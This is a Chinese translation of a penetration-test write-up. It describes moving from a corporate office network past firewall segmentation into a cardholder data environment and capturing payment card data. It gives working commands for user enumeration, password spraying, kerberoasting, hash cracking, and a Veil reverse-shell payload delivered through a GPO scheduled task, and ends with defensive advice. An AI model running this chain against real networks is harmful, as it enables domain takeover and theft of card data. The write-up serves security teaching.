在這篇文章中我將詳細介紹如何繞過防火牆,進入CDE(持卡人數據環境,代表存儲、處理和傳輸支付卡敏感數據的計算機環境),最終提取信用卡數據。

一般來說,如果你要存儲、傳輸或處理支付卡數據,那麼就必須要確保支付卡數據在你的內部網路中保持高度安全,內部網路環境必須符合PCI數據安全標準(PCI-DSS)。當然,如果你的內部網路進行了分段,則不必讓整個內部網路都符合PCI規範,只需讓分段出的處理支付卡數據的環境符合PCI數據安全標準。而分段,即隔離出CDE,通常是利用防火牆來實現的。

以上就是有關此次滲透測試的一些背景,現在讓我們正式開始吧。

注意,文中所有敏感信息都已修改,與真實數據相差甚遠。目標公司擁有一個非常龐大的內部網路,所有IP都在10.0.0.0/8範圍內。而持卡人數據位於單獨的192.168.0.0/16範圍內,與公司其他部門隔離。對CDE的操作主要由呼叫中心的操作員在接聽客戶電話後,在外部的Web應用中將資金細節輸入表格再提交。

讓我們從普通的內部環境開始,在10.0.0.0/8的範圍內連接到公司的內部辦公網路,然後我們使用ping和埠掃描從當時網路位置掃描整個CDE,結果如下:

ping掃描與直接使用ping命令效果基本一樣,只不過nmap可以一次掃描整個網段。而第二個命令結果中的hosts up其實和nmap的參數-Pn有關,nmap在此情況下不會ping操作,此時nmap會將掃描範圍內的所有主機都報告為up,真實情況可能完全相反。

因此,除非你有能繞過防火牆的手段,或者可以猜到管理防火牆的密碼,否則直接掃描似乎不太可能。現在,我們要做的就是通過取得域管理員許可權來控制活動目錄。

成為域管理員

有很多方法可以做到這一點,比如我之前發表的這篇文章。

在這種情況下,我可以利用kerberoast(就是破解Kerberos服務票據並改寫)來控制域。我需要在域中找一個未授權的攻擊點,逐步深入。

攻擊活動目錄的第一步是控制儘可能多的用戶帳戶,只要它們能以某種方式和域控制器進行身份驗證即可。在Windows世界中,所有帳戶都應該能通過域控制器進行身份驗證,即使它們沒有許可權執行任何操作也是如此。在Windows默認安全級別下,即使是許可權最低的帳戶在登錄時也需要驗證密碼是否正確。

在客戶的內網環境中,域控制器允許建立空會話(在未提供用戶名與密碼的情況下建立會話)。在這種情況下,我們又發現域控制器IP為10.0.12.100,「PETER」。這使得我們可以用enum4linux等工具枚舉用戶,得到域中每個用戶的用戶名:

$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt

現在我們有了一個用戶列表,我們可以將它轉變成一個可閱讀的格式:

$ cat enum4linux.txt | grep (Local User) |awk $2 ~ /MACFARLANE\/ {print $2}| grep -vP ^.*?$$ | sed s/MACFARLANE\//g

在實際情況下,這個內部網路異常龐大,活躍用戶超過25000人。

現在我們將用戶名整理成文本文件,然後使用CrackMapExec等工具來猜測密碼。在這裡,我們將統一測試是否有用戶使用Password1作為他們的密碼。不要小看這個密碼,它可符合活動目錄默認的密碼複雜性要求,因為它包含四種字元類型中的三種(大寫,小寫和數字)。

$ cme smb 10.0.12.100 -u users.txt -p Password1

Wow,有一個成功:

請注意,如果你想測試完所有帳戶,需要指定參數--continue-on-success

現在我們已經控制了一個帳戶,可以查詢活動目錄,獲得服務帳戶列表。服務帳戶是一種代表服務的帳戶,就像Microsoft SQL Server這樣的服務。這些服務運行時,需要在以某種帳戶身份存在於系統。活動目錄的Kerberos身份驗證系統可給其提供訪問許可權,此時活動目錄需要提供「服務票據」以方便用戶對其進行身份驗證。Kerberos的身份驗證不在本文的討論範圍之內,如果你想了解更多信息,可以點擊這裡。

通過從域控制器請求Kerberos服務帳戶列表,我們還能得到每個帳戶的「服務票據」。此服務票據是使用服務帳戶的密碼所加密。因此,如果我們可以破解它,就有很大概率得到高許可權帳戶。Impacket工具集可以幫助我們批量請求:

$ GetUserSPNs.py -outputfile SPNs.txt -request MACFARLANE.EXAMPLE.COM/chuck:Password1 -dc-ip 10.0.12.100

正如我們所看到的,其中一個服務帳戶是Domain Admins的成員,這就是我們的目標。

$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

在運行hashcat進行密碼破解後,我們得到了明文密碼:

為了二次確認,我再次使用了CrackMapExec

$ cme smb 10.0.12.100 -u redrum -p murder1!

Wahoo,Pwn3d!現在我們已經是域控制器的管理員了。

得到支付卡數據

現在,我們的目標是CDE中接受呼叫中心指令的計算機,它們都位於同一個活動目錄中,雖然我們無法直接連接到那些敏感的機器,但我們現在可以告訴域控制器讓它們來連接我們。為此,需要深入瞭解組策略對象(GPO)。GPO允許將各種範圍級別的設置應用於用戶和計算機。為了防止保護客戶隱私,你只需要知道它可以以不同範圍級別控制域中的計算機。

客戶GPO的許多功能都是用於統一管理組織中的IT設置。例如,統一設置密碼策略或者統一設置為用戶桌面顯示哪些圖標(例如,打開公司網站的快捷方式)。而有一個GPO可以運行微軟中的「計劃任務」。這正是我們所需要的...我創建一個需要目標機器運行的腳本,讓它們連接回我們的機器。以下是具體步驟:

1.生成payload。這裡我們使用了Veil Evasion。我們的IP地址是10.0.12.1,因此我們設置回連到這個地址。

$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell

2.使用我們從kerberoasting獲得的憑據,通過遠程桌面協議(RDP)登錄到域控制器。

3.在活動目錄中找到CDE。根據我們對客戶組織的瞭解,我們知道呼叫中心在2樓工作。通過瀏覽目錄,我們定位到一個特殊的名字:

4.將我們用Veil製作的惡意腳本放入文件夾,然後在域控制器上進行共享。在共享和目錄上設置許可權,允許所有域用戶讀取。

5.在GPO中,我們在如下圖創建策略:

6.在編輯這個新的GPO時,查找「計劃任務」選項,並創建新的「即時計劃任務」:

7.創建指向共享中惡意腳本的任務。同時在common下設置Run in logged-on users security context

Done!

在我等了15分鐘後,什麼也沒發生。我知道組策略的生效可能需要90分鐘或者更久,但我覺得至少有一臺機器現在已經應用了新策略(注意,如果在實驗室中測試,你可以使用gpupdate/force)。然後我又等了五分鐘,看到了如下情況:

運行命令截取屏幕截圖,確切地返回了呼叫中心當時輸入的內容...支付卡數據!

滲透目標已全部完成!

如果我們查看會話列表,我們可以看這個會話的IP來自192.168.0.0/16

在實際測試中,整個二樓的機器基本都返回了shell,我最後得到了60-100個Meterpreter。

在實際的測試中,有一個專門截圖的腳本(我們使用metasploit的autorunscript來實現),這樣我們就可以深入其他方面。

還有其他獲取截圖的命令,例如在Meterpreter中使用use espia以及metasploit的post/windows/gather/screen_spy

還有一些以編程的方式執行GPO的方法,例如PowerView中的New-GPOImmediateTask

而從防禦的角度來說,可以實施很多安全措施,例如把CDE設置一個單獨的活動目錄,鼓勵用戶設置強密碼並確保任何服務帳戶都是瘋狂的長密碼(20多個字元,完全隨機)。還可以檢測是否有任何用戶一次性去請求所有服務的票據,也可以使用蜜罐進行防禦。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:一步步繞過Windows域中的防火牆獲取支付卡敏感數據|NOSEC安全訊息平臺 - NOSEC.ORG

原文:markitzeroday.com/pci/a

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。

推薦閱讀:

相關文章